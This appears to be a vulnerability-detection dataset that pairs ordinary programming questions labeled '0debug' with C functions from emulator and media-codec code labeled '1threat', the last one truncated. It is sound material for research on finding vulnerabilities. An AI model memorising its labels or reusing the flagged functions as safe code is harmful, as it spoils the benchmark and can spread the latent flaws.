problem
stringlengths
26
131k
labels
class label
2 classes
code :passwd.where { user =~ /.*/ }.uids[39] => "" : ###Ruby array query##### How to check the array element is empty or not? ` passwd.where { user =~ /.*/ }.uids => ["0", "108", "109", "110", "111", "112", "994", "995", "1001", "1002", "", "65534"]`
0debug
Heroku Postgresql with Google Datastudio : <p>I'm having troubles to connect an existing heroku database to Google Datastudio. I'm trying to add the connection and I get the following:</p> <blockquote> <p>Access denied, please check your username and password.</p> </blockquote> <p>Now, I'm 100% sure that I'm correct on those credentials and the problem comes from somewhere else.</p> <p>I've tried with different setup, either a free or a paid PSQL instance, nothing works.</p> <p>I've also setup a dummy account on <a href="http://elephantsql.com" rel="noreferrer">elephantsql</a> and the connection worked the first time without any issue.</p> <p>Do you have any idea of the cause of that problem?</p> <p>Edit:</p> <p>Just found <a href="https://www.en.advertisercommunity.com/t5/Data-Studio/Heroku-Postgres-lt-gt-Google-Data-Studio/m-p/1031729" rel="noreferrer">https://www.en.advertisercommunity.com/t5/Data-Studio/Heroku-Postgres-lt-gt-Google-Data-Studio/m-p/1031729</a> which is not helpful at the time of writing this post.</p>
0debug
static uint64_t apb_config_readl (void *opaque, target_phys_addr_t addr, unsigned size) { APBState *s = opaque; uint32_t val; switch (addr & 0xffff) { case 0x30 ... 0x4f: val = 0; break; case 0x200 ... 0x20b: val = s->iommu[(addr & 0xf) >> 2]; break; case 0x20c ... 0x3ff: val = 0; break; case 0xc00 ... 0xc3f: if (addr & 4) { val = s->pci_irq_map[(addr & 0x3f) >> 3]; } else { val = 0; } break; case 0x1000 ... 0x1080: if (addr & 4) { val = s->obio_irq_map[(addr & 0xff) >> 3]; } else { val = 0; } break; case 0x2000 ... 0x202f: val = s->pci_control[(addr & 0x3f) >> 2]; break; case 0xf020 ... 0xf027: if (addr & 4) { val = s->reset_control; } else { val = 0; } break; case 0x5000 ... 0x51cf: case 0xa400 ... 0xa67f: case 0xa800 ... 0xa80f: case 0xf000 ... 0xf01f: default: val = 0; break; } APB_DPRINTF("%s: addr " TARGET_FMT_lx " -> %x\n", __func__, addr, val); return val; }
1threat
static int dv_write_header(AVFormatContext *s) { s->priv_data = dv_init_mux(s); if (!s->priv_data) { av_log(s, AV_LOG_ERROR, "Can't initialize DV format!\n" "Make sure that you supply exactly two streams:\n" " video: 25fps or 29.97fps, audio: 2ch/48Khz/PCM\n" " (50Mbps allows an optional second audio stream)\n"); return -1; } return 0; }
1threat
I write a project with tornado,but this is always a exception in my log file : This is the error log: [I 160308 11:09:59 web:1908] 200 GET /admin/realtime (117.93.180.216) 107.13ms [E 160308 11:09:59 http1connection:54] Uncaught exception Traceback (most recent call last): File "/usr/local/lib/python3.4/dist-packages/tornado/http1connection.py", line 238, in _read_message delegate.finish() File "/usr/local/lib/python3.4/dist-packages/tornado/httpserver.py", line 290, in finish self.delegate.finish() File "/usr/local/lib/python3.4/dist-packages/tornado/web.py", line 1984, in finish self.execute() File "/usr/local/lib/python3.4/dist-packages/blueware-1.0.10/blueware/hooks/framework_tornado/web.py", line 480, in _bw_wrapper__RequestDispatcher_execute future = wrapped(*args, **kwargs) File "/usr/local/lib/python3.4/dist-packages/tornado/web.py", line 2004, in execute **self.handler_kwargs) File "/usr/local/lib/python3.4/dist-packages/blueware-1.0.10/blueware/hooks/framework_tornado/web.py", line 448, in _bw_wrapper_RequestHandler___init___ return wrapped(*args, **kwargs) File "/usr/local/lib/python3.4/dist-packages/tornado/web.py", line 185, in __init__ self.initialize(**kwargs) File "/usr/local/lib/python3.4/dist-packages/tornado/web.py", line 2714, in wrapper self.redirect(url) File "/usr/local/lib/python3.4/dist-packages/tornado/web.py", line 671, in redirect self.finish() File "/usr/local/lib/python3.4/dist-packages/blueware-1.0.10/blueware/hooks/framework_tornado/web.py", line 309, in _bw_wrapper_RequestHandler_finish_ return wrapped(*args, **kwargs) File "/usr/local/lib/python3.4/dist-packages/tornado/web.py", line 934, in finish self.flush(include_footers=True) File "/usr/local/lib/python3.4/dist-packages/tornado/web.py", line 870, in flush for transform in self._transforms: TypeError: 'NoneType' object is not iterable [I 160308 11:10:00 web:1908] 200 GET /admin/order?order_type=1&order_status=1&page=0&action=allreal (49.89.27.173) 134.53ms who can tell me how to sovle solve this problem , thank you very much~~
0debug
How implement fingerprint scanner in WebApp? : <p>I want use sensor of android to get fingerprint. I have a <strong>WebApp</strong> and want to get callback of fingerprint. Is possible implement fingerprint scanner in <strong>WebApp</strong>? Using Javascript or something like that?</p>
0debug
Variable seems to not get set on mobile devices : <p>I'm reading an image file and rescaling it to send it to a server. In order to properly rescale it I need to change the orientation, since some pictures are taken with a mobile device camera. In order to do this rotation I did the following using the <a href="https://github.com/exif-js/exif-js" rel="noreferrer">exif.js</a> library:</p> <pre><code>EXIF.getData(img, function() { alert(this.exifdata.Orientation); orientation = this.exifdata.Orientation; alert(orientation); } </code></pre> <p>If <code>this.exif.data.Orientation</code> was, for example 6, the following output would be desierd: "6", "6".</p> <p>This works when a file is uploaded via my computer. However, when uploaded from a mobile device camera, the output is "6" and then "0", no matter what value <code>orientation</code> had before.</p> <p>Why does this happen?</p> <p><strong>Note:</strong> I'm only running on one thread. So the variable could not have been set externally during execution of these lines.</p>
0debug
static void filter_mb_edgeh( H264Context *h, uint8_t *pix, int stride, int16_t bS[4], int qp ) { int i, d; const int index_a = qp + h->slice_alpha_c0_offset; const int alpha = (alpha_table+52)[index_a]; const int beta = (beta_table+52)[qp + h->slice_beta_offset]; const int pix_next = stride; if( bS[0] < 4 ) { int8_t tc[4]; for(i=0; i<4; i++) tc[i] = bS[i] ? (tc0_table+52)[index_a][bS[i] - 1] : -1; h->s.dsp.h264_v_loop_filter_luma(pix, stride, alpha, beta, tc); } else { h->s.dsp.h264_v_loop_filter_luma_intra(pix, stride, alpha, beta); } }
1threat
RNFirebase core module was not found natively on android : <p>I am trying to run an existing react native app on android platform and I am getting the error as in the below image. I have already followed all the steps mentioned under <a href="http://invertase.link/android" rel="noreferrer">http://invertase.link/android</a>, but I still am facing this error.</p> <p>I am a complete beginner in react native, have already exhausted all the solutions available on the web and this post is my last resort.</p> <p><a href="https://i.stack.imgur.com/wf9e8.png" rel="noreferrer"><img src="https://i.stack.imgur.com/wf9e8.png" alt="enter image description here"></a></p>
0debug
How to upload dataset consisting of video files and use it in colaboratory? : <p>I'm considering using colaboratory for a computer vision project. I need to download these video files from the internet (not locally) to colaboratory and use them. How can I do that?</p>
0debug
QDict *qobject_to_qdict(const QObject *obj) { if (qobject_type(obj) != QTYPE_QDICT) return NULL; return container_of(obj, QDict, base); }
1threat
static int handle_copied(BlockDriverState *bs, uint64_t guest_offset, uint64_t *host_offset, uint64_t *bytes, QCowL2Meta **m) { BDRVQcow2State *s = bs->opaque; int l2_index; uint64_t cluster_offset; uint64_t *l2_table; unsigned int nb_clusters; unsigned int keep_clusters; int ret; trace_qcow2_handle_copied(qemu_coroutine_self(), guest_offset, *host_offset, *bytes); assert(*host_offset == 0 || offset_into_cluster(s, guest_offset) == offset_into_cluster(s, *host_offset)); nb_clusters = size_to_clusters(s, offset_into_cluster(s, guest_offset) + *bytes); l2_index = offset_to_l2_index(s, guest_offset); nb_clusters = MIN(nb_clusters, s->l2_size - l2_index); ret = get_cluster_table(bs, guest_offset, &l2_table, &l2_index); if (ret < 0) { return ret; } cluster_offset = be64_to_cpu(l2_table[l2_index]); if (qcow2_get_cluster_type(cluster_offset) == QCOW2_CLUSTER_NORMAL && (cluster_offset & QCOW_OFLAG_COPIED)) { bool offset_matches = (cluster_offset & L2E_OFFSET_MASK) == *host_offset; if (offset_into_cluster(s, cluster_offset & L2E_OFFSET_MASK)) { qcow2_signal_corruption(bs, true, -1, -1, "Data cluster offset " "%#llx unaligned (guest offset: %#" PRIx64 ")", cluster_offset & L2E_OFFSET_MASK, guest_offset); ret = -EIO; goto out; } if (*host_offset != 0 && !offset_matches) { *bytes = 0; ret = 0; goto out; } keep_clusters = count_contiguous_clusters(nb_clusters, s->cluster_size, &l2_table[l2_index], QCOW_OFLAG_COPIED | QCOW_OFLAG_ZERO); assert(keep_clusters <= nb_clusters); *bytes = MIN(*bytes, keep_clusters * s->cluster_size - offset_into_cluster(s, guest_offset)); ret = 1; } else { ret = 0; } out: qcow2_cache_put(bs, s->l2_table_cache, (void **) &l2_table); if (ret > 0) { *host_offset = (cluster_offset & L2E_OFFSET_MASK) + offset_into_cluster(s, guest_offset); } return ret; }
1threat
Css How to make elements after span appear on different line while shrinking : <p>Consider this code:</p> <pre><code>&lt;h2 class="section-title"&gt;what &lt;span&gt;Client Say?&lt;/span&gt;&lt;/h2&gt; </code></pre> <p>When I shrink it get shown like this:</p> <p><a href="https://i.stack.imgur.com/GDcmx.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/GDcmx.png" alt="enter image description here"></a></p> <p>I want to make it like this(Ignore the underline)</p> <p><a href="https://i.stack.imgur.com/ai5IC.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/ai5IC.png" alt="enter image description here"></a></p> <p>What's the simplest way of achieving this?</p>
0debug
void bdrv_query_image_info(BlockDriverState *bs, ImageInfo **p_info, Error **errp) { int64_t size; const char *backing_filename; BlockDriverInfo bdi; int ret; Error *err = NULL; ImageInfo *info; size = bdrv_getlength(bs); if (size < 0) { error_setg_errno(errp, -size, "Can't get size of device '%s'", bdrv_get_device_name(bs)); return; } info = g_new0(ImageInfo, 1); info->filename = g_strdup(bs->filename); info->format = g_strdup(bdrv_get_format_name(bs)); info->virtual_size = size; info->actual_size = bdrv_get_allocated_file_size(bs); info->has_actual_size = info->actual_size >= 0; if (bdrv_is_encrypted(bs)) { info->encrypted = true; info->has_encrypted = true; } if (bdrv_get_info(bs, &bdi) >= 0) { if (bdi.cluster_size != 0) { info->cluster_size = bdi.cluster_size; info->has_cluster_size = true; } info->dirty_flag = bdi.is_dirty; info->has_dirty_flag = true; } info->format_specific = bdrv_get_specific_info(bs); info->has_format_specific = info->format_specific != NULL; backing_filename = bs->backing_file; if (backing_filename[0] != '\0') { char *backing_filename2 = g_malloc0(1024); info->backing_filename = g_strdup(backing_filename); info->has_backing_filename = true; bdrv_get_full_backing_filename(bs, backing_filename2, 1024, &err); if (err) { error_propagate(errp, err); qapi_free_ImageInfo(info); g_free(backing_filename2); return; } if (strcmp(backing_filename, backing_filename2) != 0) { info->full_backing_filename = g_strdup(backing_filename2); info->has_full_backing_filename = true; } if (bs->backing_format[0]) { info->backing_filename_format = g_strdup(bs->backing_format); info->has_backing_filename_format = true; } g_free(backing_filename2); } ret = bdrv_query_snapshot_info_list(bs, &info->snapshots, &err); switch (ret) { case 0: if (info->snapshots) { info->has_snapshots = true; } break; case -ENOMEDIUM: case -ENOTSUP: error_free(err); break; default: error_propagate(errp, err); qapi_free_ImageInfo(info); return; } *p_info = info; }
1threat
Unsure why code isn't working : <p>I am unsure why my code is not working:</p> <pre><code>public int caughtSpeeding(int speed, boolean isBirthday) { if(isBirthday=true){ speed = speed - 5; } if(speed&lt;=60){ return 0; } if(speed&gt;=81){ return 2; } return 1; } </code></pre> <p>The question is:</p> <p>You are driving a little too fast, and a police officer stops you. Write code to compute the result, encoded as an int value: 0=no ticket, 1=small ticket, 2=big ticket. If speed is 60 or less, the result is 0. If speed is between 61 and 80 inclusive, the result is 1. If speed is 81 or more, the result is 2. Unless it is your birthday -- on that day, your speed can be 5 higher in all cases.</p>
0debug
Delete a Vue child component : <p>I'm really stuck on this one.I have created a Vue (2.0) component that is made up of child components, it's all being Webpacked etc. For example, this is the parent:</p> <pre><code>&lt;div&gt; &lt;h1&gt;This is just a title for lulz&lt;/h1&gt; &lt;rowcomponent v-for="row in rows" :row-data="row"&gt;&lt;/rowcomponent&gt; &lt;/div&gt; </code></pre> <p>which has a prop of <code>rows</code> passed to it which looks something like this:</p> <pre><code>rows: [{ sometext: "Foo"} , { sometext: "Bar" }] </code></pre> <p>So my row component looks like this: </p> <pre><code>&lt;div&gt;{{ this.sometext }} &lt;button @click="deleteRow"&gt;Delete Row&lt;/button&gt;&lt;/div&gt; </code></pre> <p>And I feel like it should be really easy to set a method on the <code>rowcomponent</code> that is something like this:</p> <pre><code>deleteRow() { this.delete(); } </code></pre> <p>Do I need to $emit something to the parent with the index of the row in it to remove it? It's driving me crazy. All the examples seem to suggest it would be easy to do, but not in the case where you have child components that want to delete themselves.</p>
0debug
document.getElementById('input').innerHTML = user_input;
1threat
static int planarCopyWrapper(SwsContext *c, const uint8_t *src[], int srcStride[], int srcSliceY, int srcSliceH, uint8_t *dst[], int dstStride[]) { const AVPixFmtDescriptor *desc_src = av_pix_fmt_desc_get(c->srcFormat); const AVPixFmtDescriptor *desc_dst = av_pix_fmt_desc_get(c->dstFormat); int plane, i, j; for (plane = 0; plane < 4; plane++) { int length = (plane == 0 || plane == 3) ? c->srcW : -((-c->srcW ) >> c->chrDstHSubSample); int y = (plane == 0 || plane == 3) ? srcSliceY: -((-srcSliceY) >> c->chrDstVSubSample); int height = (plane == 0 || plane == 3) ? srcSliceH: -((-srcSliceH) >> c->chrDstVSubSample); const uint8_t *srcPtr = src[plane]; uint8_t *dstPtr = dst[plane] + dstStride[plane] * y; if (!dst[plane]) continue; if (plane == 1 && !dst[2]) continue; if (!src[plane] || (plane == 1 && !src[2])) { int val = (plane == 3) ? 255 : 128; if (is16BPS(c->dstFormat)) length *= 2; if (is9_OR_10BPS(c->dstFormat)) { fill_plane9or10(dst[plane], dstStride[plane], length, height, y, val, desc_dst->comp[plane].depth_minus1 + 1, isBE(c->dstFormat)); } else fillPlane(dst[plane], dstStride[plane], length, height, y, val); } else { if (is9_OR_10BPS(c->srcFormat)) { const int src_depth = desc_src->comp[plane].depth_minus1 + 1; const int dst_depth = desc_dst->comp[plane].depth_minus1 + 1; const uint16_t *srcPtr2 = (const uint16_t *) srcPtr; if (is16BPS(c->dstFormat)) { uint16_t *dstPtr2 = (uint16_t *) dstPtr; #define COPY9_OR_10TO16(rfunc, wfunc) \ for (i = 0; i < height; i++) { \ for (j = 0; j < length; j++) { \ int srcpx = rfunc(&srcPtr2[j]); \ wfunc(&dstPtr2[j], (srcpx << (16 - src_depth)) | (srcpx >> (2 * src_depth - 16))); \ } \ dstPtr2 += dstStride[plane] / 2; \ srcPtr2 += srcStride[plane] / 2; \ } if (isBE(c->dstFormat)) { if (isBE(c->srcFormat)) { COPY9_OR_10TO16(AV_RB16, AV_WB16); } else { COPY9_OR_10TO16(AV_RL16, AV_WB16); } } else { if (isBE(c->srcFormat)) { COPY9_OR_10TO16(AV_RB16, AV_WL16); } else { COPY9_OR_10TO16(AV_RL16, AV_WL16); } } } else if (is9_OR_10BPS(c->dstFormat)) { uint16_t *dstPtr2 = (uint16_t *) dstPtr; #define COPY9_OR_10TO9_OR_10(loop) \ for (i = 0; i < height; i++) { \ for (j = 0; j < length; j++) { \ loop; \ } \ dstPtr2 += dstStride[plane] / 2; \ srcPtr2 += srcStride[plane] / 2; \ } #define COPY9_OR_10TO9_OR_10_2(rfunc, wfunc) \ if (dst_depth > src_depth) { \ COPY9_OR_10TO9_OR_10(int srcpx = rfunc(&srcPtr2[j]); \ wfunc(&dstPtr2[j], (srcpx << 1) | (srcpx >> 9))); \ } else if (dst_depth < src_depth) { \ DITHER_COPY(dstPtr2, dstStride[plane] / 2, wfunc, \ srcPtr2, srcStride[plane] / 2, rfunc, \ dither_8x8_1, 1, clip9); \ } else { \ COPY9_OR_10TO9_OR_10(wfunc(&dstPtr2[j], rfunc(&srcPtr2[j]))); \ } if (isBE(c->dstFormat)) { if (isBE(c->srcFormat)) { COPY9_OR_10TO9_OR_10_2(AV_RB16, AV_WB16); } else { COPY9_OR_10TO9_OR_10_2(AV_RL16, AV_WB16); } } else { if (isBE(c->srcFormat)) { COPY9_OR_10TO9_OR_10_2(AV_RB16, AV_WL16); } else { COPY9_OR_10TO9_OR_10_2(AV_RL16, AV_WL16); } } } else { #define W8(a, b) { *(a) = (b); } #define COPY9_OR_10TO8(rfunc) \ if (src_depth == 9) { \ DITHER_COPY(dstPtr, dstStride[plane], W8, \ srcPtr2, srcStride[plane] / 2, rfunc, \ dither_8x8_1, 1, av_clip_uint8); \ } else { \ DITHER_COPY(dstPtr, dstStride[plane], W8, \ srcPtr2, srcStride[plane] / 2, rfunc, \ dither_8x8_3, 2, av_clip_uint8); \ } if (isBE(c->srcFormat)) { COPY9_OR_10TO8(AV_RB16); } else { COPY9_OR_10TO8(AV_RL16); } } } else if (is9_OR_10BPS(c->dstFormat)) { const int dst_depth = desc_dst->comp[plane].depth_minus1 + 1; uint16_t *dstPtr2 = (uint16_t *) dstPtr; if (is16BPS(c->srcFormat)) { const uint16_t *srcPtr2 = (const uint16_t *) srcPtr; #define COPY16TO9_OR_10(rfunc, wfunc) \ if (dst_depth == 9) { \ DITHER_COPY(dstPtr2, dstStride[plane] / 2, wfunc, \ srcPtr2, srcStride[plane] / 2, rfunc, \ ff_dither_8x8_128, 7, clip9); \ } else { \ DITHER_COPY(dstPtr2, dstStride[plane] / 2, wfunc, \ srcPtr2, srcStride[plane] / 2, rfunc, \ dither_8x8_64, 6, clip10); \ } if (isBE(c->dstFormat)) { if (isBE(c->srcFormat)) { COPY16TO9_OR_10(AV_RB16, AV_WB16); } else { COPY16TO9_OR_10(AV_RL16, AV_WB16); } } else { if (isBE(c->srcFormat)) { COPY16TO9_OR_10(AV_RB16, AV_WL16); } else { COPY16TO9_OR_10(AV_RL16, AV_WL16); } } } else { #define COPY8TO9_OR_10(wfunc) \ for (i = 0; i < height; i++) { \ for (j = 0; j < length; j++) { \ const int srcpx = srcPtr[j]; \ wfunc(&dstPtr2[j], (srcpx << (dst_depth - 8)) | (srcpx >> (16 - dst_depth))); \ } \ dstPtr2 += dstStride[plane] / 2; \ srcPtr += srcStride[plane]; \ } if (isBE(c->dstFormat)) { COPY8TO9_OR_10(AV_WB16); } else { COPY8TO9_OR_10(AV_WL16); } } } else if (is16BPS(c->srcFormat) && !is16BPS(c->dstFormat)) { const uint16_t *srcPtr2 = (const uint16_t *) srcPtr; #define COPY16TO8(rfunc) \ DITHER_COPY(dstPtr, dstStride[plane], W8, \ srcPtr2, srcStride[plane] / 2, rfunc, \ dither_8x8_256, 8, av_clip_uint8); if (isBE(c->srcFormat)) { COPY16TO8(AV_RB16); } else { COPY16TO8(AV_RL16); } } else if (!is16BPS(c->srcFormat) && is16BPS(c->dstFormat)) { for (i = 0; i < height; i++) { for (j = 0; j < length; j++) { dstPtr[ j << 1 ] = srcPtr[j]; dstPtr[(j << 1) + 1] = srcPtr[j]; } srcPtr += srcStride[plane]; dstPtr += dstStride[plane]; } } else if (is16BPS(c->srcFormat) && is16BPS(c->dstFormat) && isBE(c->srcFormat) != isBE(c->dstFormat)) { for (i = 0; i < height; i++) { for (j = 0; j < length; j++) ((uint16_t *) dstPtr)[j] = av_bswap16(((const uint16_t *) srcPtr)[j]); srcPtr += srcStride[plane]; dstPtr += dstStride[plane]; } } else if (dstStride[plane] == srcStride[plane] && srcStride[plane] > 0 && srcStride[plane] == length) { memcpy(dst[plane] + dstStride[plane] * y, src[plane], height * dstStride[plane]); } else { if (is16BPS(c->srcFormat) && is16BPS(c->dstFormat)) length *= 2; else if (!desc_src->comp[0].depth_minus1) length >>= 3; for (i = 0; i < height; i++) { memcpy(dstPtr, srcPtr, length); srcPtr += srcStride[plane]; dstPtr += dstStride[plane]; } } } } return srcSliceH; }
1threat
Flyway: Found non-empty schema(s) "public" without schema history table! Use baseline() - on Empty database : <p>I am trying to configure flyway with kotlin Spring boot, jpa and postgreSQL. My gradle dependencies are: </p> <pre><code>dependencies { implementation('org.springframework.boot:spring-boot-starter-data-jpa') implementation('org.springframework.boot:spring-boot-starter-web') implementation('com.fasterxml.jackson.module:jackson-module-kotlin') implementation('org.flywaydb:flyway-core') implementation('com.google.code.gson:gson') implementation("org.jetbrains.kotlin:kotlin-stdlib-jdk8") implementation("org.jetbrains.kotlin:kotlin-reflect") runtimeOnly('org.postgresql:postgresql') testImplementation('org.springframework.boot:spring-boot-starter-test') } </code></pre> <p>My application.properties file is:</p> <pre><code>spring.datasource.driverClassName=org.postgresql.Driver spring.jpa.database-platform=org.hibernate.dialect.PostgreSQLDialect spring.datasource.url=jdbc:postgresql://${JDBC_DATABASE_URL}/jpaTestDatabase spring.datasource.username=${JDBC_DATABASE_USERNAME} spring.datasource.password=${JDBC_DATABASE_PASSWORD} flyway.baseline-on-migrate=true flyway.locations=classpath:src/main/kotlin/db/migration spring.jpa.generate-ddl=true spring.jpa.hibernate.ddl-auto=validate spring.session.store-type=none </code></pre> <p>Creating tables and entries using jpa and hibernate works as expected. However a sample migration on an empty database results in:</p> <pre><code>org.springframework.beans.factory.BeanCreationException: Error creating bean with name 'flywayInitializer' defined in class path resource [org/springframework/boot/autoconfigure/flyway/FlywayAutoConfiguration$FlywayConfiguration.class]: Invocation of init method failed; nested exception is org.flywaydb.core.api.FlywayException: Found non-empty schema(s) "public" without schema history table! Use baseline() or set baselineOnMigrate to true to initialize the schema history table. </code></pre> <p>my directory structure is the default one generated by spring initializr and my migrations are in: <code>demo/src/main/kotlin/db/migration</code></p> <p>I only have a single migration which is the kotlinized version of the example migration found <a href="https://flywaydb.org/documentation/migrations" rel="noreferrer">here</a> which I adapted to look line this:</p> <pre><code>class V1__Sample : BaseJavaMigration() { override fun migrate(context: Context?) { val statement = context?.connection?.prepareStatement( """ CREATE TABLE article ( id bigserial primary key, name varchar(20) NOT NULL, desc text NOT NULL ); """ ) statement.use { it?.execute() } } } </code></pre> <p>What am I missing here? Why does Flyway keep complaining about finding non-empty schema(s) "public" without schema history table, when the database is completelly empty (clean docker image)?</p>
0debug
when you create a library, do you need to provide the cs file or dll file is enough : <p>As title, I would like to make a basic library of math functions but I would like to know if user need my source code (.cs class) or just providing the .dll file and user adding it in references </p>
0debug
static int coreaudio_init_out (HWVoiceOut *hw, audsettings_t *as) { OSStatus status; coreaudioVoiceOut *core = (coreaudioVoiceOut *) hw; UInt32 propertySize; int err; const char *typ = "playback"; AudioValueRange frameRange; err = pthread_mutex_init(&core->mutex, NULL); if (err) { dolog("Could not create mutex\nReason: %s\n", strerror (err)); return -1; } audio_pcm_init_info (&hw->info, as); propertySize = sizeof(core->outputDeviceID); status = AudioHardwareGetProperty( kAudioHardwarePropertyDefaultOutputDevice, &propertySize, &core->outputDeviceID); if (status != kAudioHardwareNoError) { coreaudio_logerr2 (status, typ, "Could not get default output Device\n"); return -1; } if (core->outputDeviceID == kAudioDeviceUnknown) { dolog ("Could not initialize %s - Unknown Audiodevice\n", typ); return -1; } propertySize = sizeof(frameRange); status = AudioDeviceGetProperty( core->outputDeviceID, 0, 0, kAudioDevicePropertyBufferFrameSizeRange, &propertySize, &frameRange); if (status != kAudioHardwareNoError) { coreaudio_logerr2 (status, typ, "Could not get device buffer frame range\n"); return -1; } if (frameRange.mMinimum > conf.buffer_frames) { core->audioDevicePropertyBufferFrameSize = (UInt32) frameRange.mMinimum; dolog ("warning: Upsizing Buffer Frames to %f\n", frameRange.mMinimum); } else if (frameRange.mMaximum < conf.buffer_frames) { core->audioDevicePropertyBufferFrameSize = (UInt32) frameRange.mMaximum; dolog ("warning: Downsizing Buffer Frames to %f\n", frameRange.mMaximum); } else { core->audioDevicePropertyBufferFrameSize = conf.buffer_frames; } propertySize = sizeof(core->audioDevicePropertyBufferFrameSize); status = AudioDeviceSetProperty( core->outputDeviceID, NULL, 0, false, kAudioDevicePropertyBufferFrameSize, propertySize, &core->audioDevicePropertyBufferFrameSize); if (status != kAudioHardwareNoError) { coreaudio_logerr2 (status, typ, "Could not set device buffer frame size %ld\n", core->audioDevicePropertyBufferFrameSize); return -1; } propertySize = sizeof(core->audioDevicePropertyBufferFrameSize); status = AudioDeviceGetProperty( core->outputDeviceID, 0, false, kAudioDevicePropertyBufferFrameSize, &propertySize, &core->audioDevicePropertyBufferFrameSize); if (status != kAudioHardwareNoError) { coreaudio_logerr2 (status, typ, "Could not get device buffer frame size\n"); return -1; } hw->samples = conf.nbuffers * core->audioDevicePropertyBufferFrameSize; propertySize = sizeof(core->outputStreamBasicDescription); status = AudioDeviceGetProperty( core->outputDeviceID, 0, false, kAudioDevicePropertyStreamFormat, &propertySize, &core->outputStreamBasicDescription); if (status != kAudioHardwareNoError) { coreaudio_logerr2 (status, typ, "Could not get Device Stream properties\n"); core->outputDeviceID = kAudioDeviceUnknown; return -1; } core->outputStreamBasicDescription.mSampleRate = (Float64) as->freq; propertySize = sizeof(core->outputStreamBasicDescription); status = AudioDeviceSetProperty( core->outputDeviceID, 0, 0, 0, kAudioDevicePropertyStreamFormat, propertySize, &core->outputStreamBasicDescription); if (status != kAudioHardwareNoError) { coreaudio_logerr2 (status, typ, "Could not set samplerate %d\n", as->freq); core->outputDeviceID = kAudioDeviceUnknown; return -1; } status = AudioDeviceAddIOProc(core->outputDeviceID, audioDeviceIOProc, hw); if (status != kAudioHardwareNoError) { coreaudio_logerr2 (status, typ, "Could not set IOProc\n"); core->outputDeviceID = kAudioDeviceUnknown; return -1; } if (!isPlaying(core->outputDeviceID)) { status = AudioDeviceStart(core->outputDeviceID, audioDeviceIOProc); if (status != kAudioHardwareNoError) { coreaudio_logerr2 (status, typ, "Could not start playback\n"); AudioDeviceRemoveIOProc(core->outputDeviceID, audioDeviceIOProc); core->outputDeviceID = kAudioDeviceUnknown; return -1; } } return 0; }
1threat
binary search on an array giving errors : So I'm doing a binary search on an array. But somethings to be off. It returns -1 as if the target is not being found but it is in the array. ex: when i put the key at 555 it returns the correct index but when i try with the example below with 8 it returns -1.. public class bSearch { public static void main(String[] args) { int[] nums = {9,5,2,5,7,8,3,22,555}; int key = 8; System.out.println(searchForNum(nums,0,nums.length-1,key)); } private static int searchForNum(int[] arr,int first, int last, final int target) { int middle= (first+last)/2; if(last < first) { return -1; } if(arr[middle]== target) return middle; else if(target < arr[middle]) { return searchForNum(arr,first,middle-1,target); }else { return searchForNum(arr,middle+1,last,target); } } }
0debug
How does the server know when to serve an amp page : <p>I understand that there will be a version of a site with HTML designed for desktop devices and then the AMP pages.</p> <p>Is there anything I need to do so that the site serves AMP content to mobile devices?</p>
0debug
photon or smartfox for quiz on unity : i`m start a new project and it`s quiz, which be write on Unity. Right now, i have to make choice between Smartfox and Photon. One of the requirements is to contain a database with questions and answers for the quiz. I ask to share experience, and help to make the right decision))
0debug
YYY/MM/DD to DD/MM/YY PHP : <pre><code>&lt;div class="table-responsive"&gt; &lt;table id="Well_CAT" class="table table-striped table-bordered"&gt; &lt;thead&gt; &lt;th&gt;Client_Contract_Number&lt;/th&gt; &lt;th&gt;Currently_Using&lt;/th&gt; &lt;th&gt;MBPS_EAM_Number_RIGT&lt;/th&gt; &lt;th&gt;Model_and_Type&lt;/th&gt; &lt;th&gt;LFour_Yearly&lt;/th&gt; &lt;th&gt;Six_Monthly&lt;/th&gt; &lt;th&gt;One_Yearly&lt;/th&gt; &lt;th&gt;One_and_Half_Yearly&lt;/th&gt; &lt;th&gt;Two_Yearly&lt;/th&gt; &lt;th&gt;Two_and_Half_Yearly&lt;/th&gt; &lt;th&gt;Three_Yearly&lt;/th&gt; &lt;th&gt;Three_and_Half_Yearly&lt;/th&gt; &lt;th&gt;Four_Yearly&lt;/th&gt; &lt;th&gt;Remarks&lt;/th&gt; &lt;/thead&gt; &lt;?php while($rows=mysql_fetch_array($result)){ ?&gt;&lt;tr&gt; &lt;td class="exdate"&gt;&lt;? echo $rows['Client_Contract_Number']; ?&gt;&lt;/td&gt; &lt;td class="exdate"&gt;&lt;? echo $rows['Currently_Using']; ?&gt;&lt;/td&gt; &lt;td&gt;&lt;? echo $rows['MBPS_EAM_Number_RIGT']; ?&gt;&lt;/td&gt; &lt;td&gt;&lt;? echo $rows['Model_and_Type']; ?&gt;&lt;/td&gt; &lt;td&gt;&lt;? echo $rows['LFour_Yearly']; ?&gt;&lt;/td&gt; &lt;td class="exdate"&gt;&lt;? echo $rows['Six_Monthly']; ?&gt;&lt;/td&gt; &lt;td class="exdate"&gt;&lt;? echo $rows['One_Yearly']; ?&gt;&lt;/td&gt; &lt;td class="exdate"&gt;&lt;? echo $rows['One_and_Half_Yearly']; ?&gt;&lt;/td&gt; &lt;td class="exdate"&gt;&lt;? echo $rows['Two_Yearly']; ?&gt;&lt;/td&gt; &lt;td class="exdate"&gt;&lt;? echo $rows['Two_and_Half_Yearly']; ?&gt;&lt;/td&gt; &lt;td class="exdate"&gt;&lt;? echo $rows['Three_Yearly']; ?&gt;&lt;/td&gt; &lt;td class="exdate"&gt;&lt;? echo $rows['Three_and_Half_Yearly']; ?&gt;&lt;/td&gt; &lt;td class="exdate"&gt;&lt;? echo $rows['Four_Yearly']; ?&gt;&lt;/td&gt; &lt;td class="exdate"&gt;&lt;? echo $rows['Remarks']; ?&gt;&lt;/td&gt; &lt;/tr&gt; &lt;?php } ?&gt; &lt;/table&gt; </code></pre> <p>My table dates are in YYY/MM/DD format, i would like to change it it DD/MMM/YY format,I managed to do it for each column.. it would be better if i can do it for entire table all at once. (I have more than 15 tables to process) Please help me with this same example.. so that i can do it for all others. </p>
0debug
document.getElementById('input').innerHTML = user_input;
1threat
static void s390_cpu_model_initfn(Object *obj) {
1threat
